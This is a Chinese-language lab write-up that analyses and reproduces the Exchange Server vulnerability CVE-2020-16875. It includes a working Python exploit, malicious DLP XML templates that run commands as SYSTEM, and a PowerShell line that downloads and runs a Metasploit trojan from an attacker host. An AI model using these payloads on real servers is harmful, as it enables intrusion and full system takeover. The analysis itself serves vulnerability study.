CVE-2020-16875漏洞分析与复现 0x01 漏洞简述
Microsoft Exchange Server 是个消息与协作系统。由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。
利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。
0x02 环境配置 我觉得这个漏洞的环境的配置是真的恶心了,这个exchange server真实配的我血压上升。
虚拟机:win server 2016:
内存最好8G或以上,CPU 4或以上,否则因为内存爆炸然后崩溃。
SERVER:2016 CU16
可以参考博客:https://saucer-man.com/information_security/748.html#cl-6
一、服务配置: 首先需要安装各种服务:
二、官网下载iso 在官网下载所需iso的文件,慢慢下。。。
三、处理报错 使用管理员用户运行iso下的setup.exe ,没有什么特别的,按照自己的想法选,一直下一步,等待进度条慢的我想死…
然后开始处理报错(现在只剩一个了,原来有六个。。。),把这些报错全都处理掉就可以了。总体来说,解决方案就是点后面给的链接直接下,一个一个慢慢来。
期间安了十来个包,重启了六七次,我真是吐了。
安装非常之慢,大概需要三个小时左右
注意,内存一定要够大,否则就会像我一样白给。
先在官网上向前翻找到,漏洞产生时的更新版本,可以看到专门为这个漏洞更了一版,可见其危害,下载这一版本前一版,也就是未patch的相关版本文件,不过我们不是用户,所以也不需要做安全更新。
四、处理w3wp.exe
可以看到w3wp杀疯了直接,我们需要对他做一些限制。
只能说好了一点,但是时不时的还会疯狂卡顿,目前没找到好的解决方案。
注意,此处还需要更改如下字段,否则会出现503错误:
终于,访问到了:
(密码就是电脑管理员账号密码)
五、版本确认:
与官网进行对比:
1 https:/ / docs.microsoft.com/ zh- cn/ Exchange/ new - features/ build- numbers- and - release - dates?view = exchserver-2019
0x03 漏洞分析 一、背景知识 下面对上文中我们在安装过程中遇到的新名词进行学习,本部分内容参考百度百科相关词条。
1.iis: 互联网信息服务(英语:Internet Information Services,简称IIS),是由微软公司提供的基于运行Microsoft Windows的互联网基本服务,可以实现在windows上部署小型网站。
2. .NET:
.NET框架(.NET Framework) 是由微软开发的网络软件开发平台,处在较为下层的位置,其是一个多语言组件开发和执行环境,它提供了一个跨语言的统一编程环境。.NET框架的目的是便于开发人员更容易地建立Web应用程序和Web服务,使得Internet上的各应用程序之间,可以使用Web服务进行沟通。
3.exchange: Microsoft Exchange Server 是个消息与协作系统。Exchange server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统,简单的说,他是一个基于.NET架构开发的一个软件。
4.DLP
防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。
DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。
二.基本情况概述 在官网中,对于该漏洞的描述是:由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在远程执行代码漏洞。
其中又提到了一个我们不熟悉的词汇:cmdlet 。cmdlet 是在 PowerShell 环境中使用的一种轻量级命令,其会执行操作,并且通常会向管道中的下一个命令返回一个 Microsoft .NET 对象。实际上根据我的查询理解,其就是powershell为用户设置的一个接口,开发、使用者可以通过cmdlet执行命令。
那么在exchange server中,专门为了避免数据丢失,设立了一个Data Loss Prevention角色,这个角色可以使用命令New-DlpPolicy 来新建一个对于内容检查的政策,而该政策的参数中包括一个参数**-TemplateData**,由于对此参数没有进行任何过滤操作,系统会直接执行此参数传入的内容,导致代码执行漏洞(且是在system权限下的)。
基础信息: 漏洞文件:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET\Files\ecp\App_Web_xxxx.dll
漏洞函数:System.Web.UI.Page类,ProcessUpload()函数
漏洞参数:**-TemplateData**
基础权限:Data Loss Prevention角色
三、漏洞原理分析 在本部分中,我们选用dnspy 作为分析工具。 分析的相关步骤,思路,和部分图源参考:https://www.anquanke.com/post/id/219091?from=timeline;
总述: 此漏洞核心问题是对cmdlet参数处理不当,或者说没有验证参数是否合法。不过该漏洞需要对应账户开启Data Loss Prevention角色,否则无法访问漏洞所在页面。
1. aspx处理流程基础知识
aspx文件是微软 的在服务器端运行的动态网页文件 [1] ,属于ASP.NET技术 。ASP.NET是由微软在·NET Framework框架中所提供,开发Web应用程序的类库.
aspx文件是微软的在服务器端 运行的动态网页 文件,而不像静态的html文件。它通过IIS解析执行后可以得到动态页面 ,是微软推出的一种新的网络编程 方法,而不是asp的简单升级,因为它的编程方法和asp有很大的不同,他是在服务器端靠服务器编译执行 的程序代码。
摘自百度百科aspx词条。
在每一次http请求时,都会有一个HttpApplication 类型的对象来管理这次请求的过程,同时创建一个HttpContext 对象,前者负责装配出整个“HTTP请求处理管线(HTTP Pipeline) ”也就是一条用于处理后者的流水线。HttpContext 对象经过流水线的不同部分时,HttpApplication 对象会先后激发出一连串的事件,在响应这些事件时,HttpContext 对象被处理。处理了相关事件之后,HttpContext 对象会最终被Page对象所接收,并成为Page 类中的Context 属性。
综上,每个被访问的ASP.NET 页面都会被转换为一个“派生自Page类的页面类” 。
然后呢,在Page类中,实现了IHttpHandler 接口,此接口定义了一个ProcessRequest()方法。 ASP.NET 页面类生成以后被自动编译为程序集,然后其ProcessRequest()方法被自动调用。 ProcessRequest()方法 的执行结果再次被 HttpContext 对象所承载,控制又转回到“HTTP请求处理流水线”中,HttpApplication 对象继续激发后继的事件。这时,如果还有特定的HTTP模块响应这些事件,则它们会被自动调用。
综上,ASP.NET页面会被转化为一个页面类后,自动调用**ProcessRequest()**方法进行处理。
2.dnspy调试前折磨 那么,由于我们在浏览器上访问了ManagePolicyFromISV.aspx页面,aspx文件在.NET Framework下运行一般会在C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\ecp\路径中生成App_Web_xxxx.dll,我们可以这些有可能的dll拖入dnSpy工具中,并找到负责处理ManagePolicyFromISV.aspx页面的类。
从如下的dll中一个一个寻找,突出的就是一个痛苦。
找到了!我们进入ProcessRequest函数中,可以看到这个函数调用了另一个ProcessRequest函数,我们双击进入,进入的是进入System.Web.UI.Page 类中的**public virtual void ProcessRequest(HttpContext context)**函数:
上图函数开始处下个断点:
好了,现在我们可以开始动态调试了!
在这个时候,我们会面临一个问题,我们要调试哪一个进程:
此时可以通过上图中的命令,找到我们要调试的进程MSExchangeECPAppPool ,附加到该进程上
3.dnspy分析函数调用链 中间单步的代码逻辑此处略过不表
一步步调试,我们可以发现,进入`System.Web.UI.Page`类的`ProcessRequest()`函数后,之后又会来到`ProcessRequestMain()`函数。
然后,ProcessRequestMain()又会调用LoadRecursive()。
LoadRecursive()根据对象的不同,又会进入不同的处理方法,对于我们的这了dlp策略,程序最终会进入Microsoft.Exchange.Management.ControlPanel.DLPISVService类中的ExecuteUpload()函数中,该函数很快调用了PSCommand()函数。
(此图源自:https://www.anquanke.com/post/id/219091?from=timeline,因为我不知道怎么打开调用堆栈)
从调用堆栈中,可以看到函数调用的顺序:
1 2 3 4 5 6 7 8 9 Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.DLPISVService.ProcessUpload(Microsoft.Exchange.Management.ControlPanel.DLPPolicyUploadParameters parameters) (IL=0x0006 , Native=0x00007FFF99CF4E50 +0x15 ) Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.ExecuteUpload() (IL≈0x00CE , Native=0x00007FFF99CF48A0 +0x298 ) Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.OnLoad(System.EventArgs e) (IL=epilog, Native=0x00007FFF99CE4410 +0x10C ) System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL≈0x0011 , Native=0x00007FFFE5E53100 +0x100 ) System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3 , Native=0x00007FFFE5E61250 +0xEC9 ) System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C , Native=0x00007FFFE5E60FF0 +0x9F ) System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014 , Native=0x00007FFFE5E60F60 +0x4B ) System.Web.dll!System.Web.UI.Page.ProcessRequest(System.Web.HttpContext context) (IL=epilog, Native=0x00007FFFE5E60EE0 +0x46 ) App_Web_ojcsje1s.dll!ASP.dlppolicy_managepolicyfromisv_aspx.ProcessRequest(System.Web.HttpContext context) (IL=0x0007 , Native=0x00007FFF99CDD310 +0x2D )
最后,我们的参数parameters将会被传给New-DLPPolicy这个cmdlet中,然后直接被执行。
总结一下函数的调用链,如下图所示:
分析过后,我们已经对调用流程非常了解了,下面我们需要分析调用最后一步出现的参数。
4.cmdlet分析
也就是最后一步调用中使用PSCommand函数中名为New-DLPPolicy 的这个cmdlet :
对于其详细的解释,我们直接访问微软官网该词条 :
此cmdlet可在本地Exchange和基于云的服务中使用,使用DlpPolicy cmdlet可以在您的Exchange组织中创建数据丢失防护(DLP)策略 。在下方参数列表中,我们发现参数 **[-TemplateData <Byte[]>]**,这与刚刚我们调试中看到的内容是一致的!
往下看:
也就是呢,我们可以使用New-DLPPolicy 作为一条命令,其中有一条参数,是我们所能够控制的参数。
那从用户的角度来看,我们的传入点在哪呢?
在官网 找到上文中提到的dlp处理机制文件上传模板如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?xml version="1.0" encoding="UTF-8"?> <dlpPolicyTemplates > <dlpPolicyTemplate id ="F7C29AEC-A52D-4502-9670-141424A83FAB" mode ="Audit" state ="Enabled" version ="15.0.2.0" > <contentVersion > 4</contentVersion > <publisherName > Microsoft</publisherName > <name > <localizedString lang ="en" > PCI-DSS</localizedString > </name > <description > <localizedString lang ="en" > Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString > </description > <keywords > </keywords > <ruleParameters > </ruleParameters > <ruleParameters /> <policyCommands > <commandBlock > <![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Outside" -DlpPolicy "%%DlpPolicyName%%" -SentToScope NotInOrganization -SetAuditSeverity High -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } -Comments "Monitors payment card information sent to outside the organization as part of the PCI-DSS DLP Policy."]]> </commandBlock > <commandBlock > <![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Within" -DlpPolicy "%%DlpPolicyName%%" -Comments "Monitors payment card information sent inside the organization as part of the PCI-DSS DLP Policy." -SentToScope InOrganization -SetAuditSeverity Low -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } ]]> </commandBlock > </policyCommands > <policyCommandsResources > </policyCommandsResources > </dlpPolicyTemplate > </dlpPolicyTemplates >
可以看到,在<commandBlock>标签中,我们可以使用MSExchange提供的一条cmdlet: new-transportRule ,这条cmdlet最终会被送入刚刚提到的PSCommand 函数调用的New-DLPPolicy cmdlet 的-TemplateData 中得到执行,但是此过程中没有进行任何的校验!
因此,我们猜测,也可以直接提供一条powershell的cmdlet,该cmdlet最终也会被执行。
0x04 漏洞利用 一、手动利用poc流程
新建用户:密码为Cve16875
在靶机服务器打开Exchange Management Shell,执行代码:
1 2 New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "hello" Get-RoleGroup "dlp users" | Format-List
手动执行:
上传poc.xml文件。
可以看到我们执行了cmd.exe,证明poc是可行的。
二、脚本进行poc 上述过程总体还是比较繁琐,我们可以将其转化为脚本一键执行
执行脚本:
1 python ./poc.py 192.168 .6.143 hello@cve16875.com:Cve16875 cmd.exe
python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import reimport sysimport randomimport stringimport urllib3import requestsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def random_string (str_len=8 ): letters = string.ascii_lowercase return '' .join(random.choice(letters) for i in range (str_len)) def get_xml (c ): return """<?xml version="1.0" encoding="UTF-8"?> <dlpPolicyTemplates> <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> <contentVersion>4</contentVersion> <publisherName>si</publisherName> <name> <localizedString lang="en"></localizedString> </name> <description> <localizedString lang="en"></localizedString> </description> <keywords></keywords> <ruleParameters></ruleParameters> <policyCommands> <commandBlock> <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]> </commandBlock> </policyCommands> <policyCommandsResources></policyCommandsResources> </dlpPolicyTemplate> </dlpPolicyTemplates>""" % cdef trigger_rce (t, s, vs, cmd ): f = { '__VIEWSTATE' : (None , vs), 'ctl00$ResultPanePlaceHolder$senderBtn' : (None , "ResultPanePlaceHolder_ButtonsPanel_btnNext" ), 'ctl00$ResultPanePlaceHolder$contentContainer$name' : (None , random_string()), 'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl' : ("dlprce.xml" , get_xml(cmd)), } r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False ) assert r.status_code == 200 , "(-) failed to trigger rce!" def leak_viewstate (t, s ): headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36' } r = s.get("https://192.168.6.143/ecp/DLPPolicy/ManagePolicyFromISV.aspx" , verify=False ,headers=headers) print (r) match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />" , r.text) assert match != None , "(-) couldn't leak the __viewstate!" return match.group(1 ) def log_in (t, usr, pwd ): s = requests.Session() d = { "destination" : "https://%s/owa" % t, "flags" : "" , "username" : usr, "password" : pwd } s.post("https://%s/owa/auth.owa" % t, data=d, verify=False ) assert s.cookies.get(name='X-OWA-CANARY' ) != None , "(-) couldn't leak the csrf canary!" return s def main (t, usr, pwd, cmd ): s = log_in(t, usr, pwd) print ("(+) logged in as %s" % usr) print (s) vs = leak_viewstate(t, s) print ("(+) found the __viewstate: %s" % vs) trigger_rce(t, s, vs, cmd) print ("(+) executed %s as SYSTEM!" % cmd) if __name__ == '__main__' : if len (sys.argv) != 4 : print ("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0 ]) print ("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0 ]) sys.exit(-1 ) trgt = sys.argv[1 ] assert ":" in sys.argv[2 ], "(-) you need a user and password!" usr = sys.argv[2 ].split(":" )[0 ] pwd = sys.argv[2 ].split(":" )[1 ] cmd = sys.argv[3 ] main(trgt, usr, pwd, cmd)
通过一个脚本,我们全自动的实现了命令执行这一流程,不再需要自行进行请求,更加方便了。
三、exp的生成 上面我们已经达到了命令执行的效果,但是我们不能每次都通过命令执行的漏洞进行命令执行操作,这样不够方便,也不够稳定,因此我们选用metasploit 。
在这里不对metasploit的使用进行赘述,可以参考我的另一篇博客 。
在生成了木马文件后,在kali上部署服务,将木马文件放置在var/www/html目录下,然后运行apache2服务。
这样一来,我们可以通过访问uri的方式下载木马文件,通过如下语句,即可下载并执行木马文件。
1 (Invoke-WebRequest -Uri http://192.168 .6.130 /meter_re_tcp_x86.exe -OutFile C:\Users\86183 \Desktop\bkdoor.exe) ; (C:\Users\86183 \Desktop\bkdoor.exe)
注:此处连接符不能用 -and,因为-and连接符会导致第一句中文件还没下载结束前,第二句就已经开始执行,导致返回false。
我们将上述内容粘贴进xml文件的相应位置(如自动化执行,只需要更改输入的参数):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?xml version="1.0" encoding="UTF-8"?> <dlpPolicyTemplates > <dlpPolicyTemplate id ="F7C29AEC-A52D-4502-9670-141424A83FAB" mode ="Audit" state ="Enabled" version ="15.0.2.0" > <contentVersion > 4</contentVersion > <publisherName > Microsoft</publisherName > <name > <localizedString lang ="en" > PCI-DSS-12345</localizedString > </name > <description > <localizedString lang ="en" > Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString > </description > <keywords > </keywords > <ruleParameters > </ruleParameters > <policyCommands > <commandBlock > <![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c (Invoke-WebRequest -Uri http://192.168.6.130/meter_re_tcp_x86.exe -OutFile C:\Users\86183\Desktop\bkdoor.exe) ; (C:\Users\86183\Desktop\bkdoor.exe)";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start(); ]]> </commandBlock > </policyCommands > <policyCommandsResources > </policyCommandsResources > </dlpPolicyTemplate > </dlpPolicyTemplates >
按照上文中的方法上传:
可以看到服务器自动下载并运行了该木马程序,我们可以后续进行持久化、进程迁移等等后续工作。
0x05 参考文献 漏洞基本信息:
https://nvd.nist.gov/vuln/detail/CVE-2020-16875
环境搭建部分:
https://saucer-man.com/information_security/748.html#cl-6
逆向思路参考:
https://www.anquanke.com/post/id/219091?from=timeline#h2-1
实验过程参考:
https://blog.csdn.net/z136370204/article/details/109818580
MS官网:
https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
https://docs.microsoft.com/zh-cn/powershell/module/exchange/new-dlppolicy?view=exchange-ps
https://docs.microsoft.com/zh-cn/powershell/exchange/exchange-cmdlet-syntax?view=exchange-ps